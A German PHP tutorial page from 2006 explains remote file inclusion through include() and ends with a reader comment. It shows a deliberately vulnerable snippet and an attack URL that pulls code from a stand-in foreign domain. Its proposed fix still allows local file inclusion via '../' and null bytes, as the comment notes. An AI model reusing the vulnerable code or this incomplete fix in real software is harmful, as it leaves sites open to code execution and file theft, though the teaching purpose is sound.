IT-Academy Logo
Sign Up Login Help
Home - Programmieren - PHP - Include sicher verwenden



Include sicher verwenden

Wenn Sie dynamische Inhalte auf Ihrer Webseite bereitstellen, kommt es nicht selten vor, dass Sie für das Einbinden der benötigten Dateien die Anweisung include() benutzen. Doch mit dieser Anweisung lassen sich bei gedankenloser Verwendung auch fremde Dateien einbinden, die verherenden Schaden anrichten können.


Autor: Christian Scheffler (@tention)
Datum: 15-06-2006, 08:32:44
Referenzen: http://www.tention.org/index.php?content=src_php_include_security
Schwierigkeit: Anfänger
Ansichten: 12536x
Rating: 7 (1x bewertet)

Hinweis:

Für den hier dargestellte Inhalt ist nicht der Betreiber der Plattform, sondern der jeweilige Autor verantwortlich.
Falls Sie Missbrauch vermuten, bitten wir Sie, uns unter missbrauch@it-academy.cc zu kontaktieren.

[Druckansicht] [Als E-Mail senden] [Kommentar verfassen]



INCLUDE SICHER VERWENDEN


Wenn Sie dynamische Inhalte auf Ihrer Webseite bereitstellen, kommt es nicht selten vor, dass Sie für das Einbinden der benötigten Dateien die Anweisung include() benutzen. Doch mit dieser Anweisung lassen sich bei gedankenloser Verwendung auch fremde Dateien einbinden, die verherenden Schaden anrichten können. Stellen Sie sich vor, ein Angreifer benutzt Ihre Domain um fremde Inhalte zu laden, oder Ihre Webseite zu löschen. Das ist nicht nur sehr ärgerlich, sondern kann auch rechtliche Konsequenzen für Sie bedeuten. Daher ist es angebracht mit Anweisungen wie include() und require() entsprechend sorgsam umzugehen.

Schlechtes Beispiel: (index.php)
<?php 
    include $_GET["inhalt"];
?>

In diesem schlechten Beispiel wird einfach versucht die Datei einzubinden, die mit Hilfe der GET-Variablen inhalt übergeben wurde. Stellt der Inhalt der Variablen nun aber eine Fremde Datei dar, wird ebenso versucht, diese Datei einzubinden, was zu oben beschriebenen Folgen führen kann.

Ungefährlicher Aufruf: (index.php)
http://www.ihredomain.de/index.php?inhalt=meineseite.php

Durch diesen ungefährlichen Aufruf würde das Script nur das tun, wofür es gedacht ist, nämlich Ihren definierten Inhalt einzubinden und auszuwerten.

Gefährlicher Aufruf: (index.php)
http://www.ihredomain.de/index.php?inhalt=http://www.fremdedomain.com/badcode.php

Dieser gefährliche Aufruf eines potentiellen Angreifers würde dazu führen, dass fremder Code einer fremden Domain versucht wird einzubinden wenn das die PHP-Konfiguration allow_url_fopen vorsieht. Da das Script aber ursprünglich auf Ihrem Server/WebSpace läuft, hat das fremde Script die selben Rechte und kann auf sämtliche Daten frei zugreifen. Da dies aber nicht gewünscht ist, müssen Sie einige Sicherheitsvorkehrungen treffen.

Besseres Beispiel: (index2.php)
<?php 
    $dateiname = "daten/" . $_GET["inhalt"] . ".php";
    include $dateiname;
?>

In diesem Beispiel wird die Datei mit dem Inhalt aus einem Unterverzeichnis namens daten eingebunden, die Dateinamenerweiterung wird ebenso erst im Script festgelegt. Der Aufruf würde sich dann so gestalten.

Ungefährlicher Aufruf: (index2.php)
http://www.ihredomain.de/index.php?inhalt=meineseite

Nun würde versucht werden die Datei http://www.ihredomain.de/daten/meineseite.php einzubinden. Sollte ein Aufruf des Scriptes durch einen potentiellen Angreifer erfolgen, so würde beim Einbinden fremder Inhalte ein Fehler auftreten, da diese in der von Ihnen verwendeten Form wohl kaum existieren können.

Gefährlicher Aufruf: (index2.php)
http://www.ihredomain.de/index.php?inhalt=http://www.fremdedomain.com/badcode.php

Der eben noch gefährliche Aufruf würde versuchen die Datei daten/http://www.fremdedomain.com/badcode.php.php einzubinden, die garantiert nicht gefunden werden kann, weil in diesem Fall lokal auf Ihrem WebSpace gesucht wird.

Wenn Sie dieses Beispiel noch erweitern, dann können Sie z.B. noch eine Abfrage einbauen, ob die angeforderte Datei auch wirklich existiert, damit der Besucher keine leere Seite vorfindet, im Falle dass die Datei gelöscht oder umbenannt wurde.

Erweitertes Beispiel: (index2.php)
<?php 
    $dateiname = "daten/" . $_GET["inhalt"] . ".php";
    if(file_exists($dateiname))
        include $dateiname;
    else
        include "daten/fehlerseite.php";
?>

In diesem Beispiel wird zusätzlich überprüft, ob die angeforderte Datei existiert. Ist das nicht der Fall wird eine frei definierte Fehlerseite eingebunden.

Dieser Beitrag soll Ihnen zeigen, wie Sie mit minimalen Sicherheitsvorkehrungen einen sehr wirkungsvollen Schutz vor potentiellen Sicherheitslücken in Ihrem Script einbauen können. Gerade bei gedankenloser Verwendung von solch mächtigen Anweisungen können schnell gravierende Fehler passieren.

Verwendete PHP-Funktionen:
include()
file_exists()

Verwandte PHP-Funktionen:
include_once()
require()
require_once()


PixelMaster
Rookie
Beitrag vom:
05-05-2008, 22:13:16

Nicht ganz sicher...

Durch deine Lösung mit der Angabe des Pfads und der Dateiendung kannst du dich noch nicht ganz sicher fühlen. Die Dateiendung kann mit einem angehängten Null-Byte(%00)ignoriert werden. Ausserdem kann der Pfad mit "../" auch wieder verändert werden. Dies ist dann eine Local-File-Inclusion Lücke, über die ein böswilliger Angreifer beliebige Dateien auslesen kann. Ob die Lösung mit der Überprüfung dies verhindern würde bin ich mir nicht sicher...

-----------------------------------------------------


[back to top]



Userdaten
User nicht eingeloggt

Gesamtranking
Werbung
Datenbankstand
Autoren:04500
Artikel:00815
Glossar:04117
News:13565
Userbeiträge:16551
Queueeinträge:06227
News Umfrage
Ihre Anforderungen an ein Online-Zeiterfassungs-Produkt?
Mobile Nutzung möglich (Ipone, Android)
Externe API Schnittstelle/Plugins dritter
Zeiterfassung meiner Mitarbeiter
Exportieren in CSV/XLS
Siehe Kommentar



[Results] | [Archiv] Votes: 1121
Comments: 0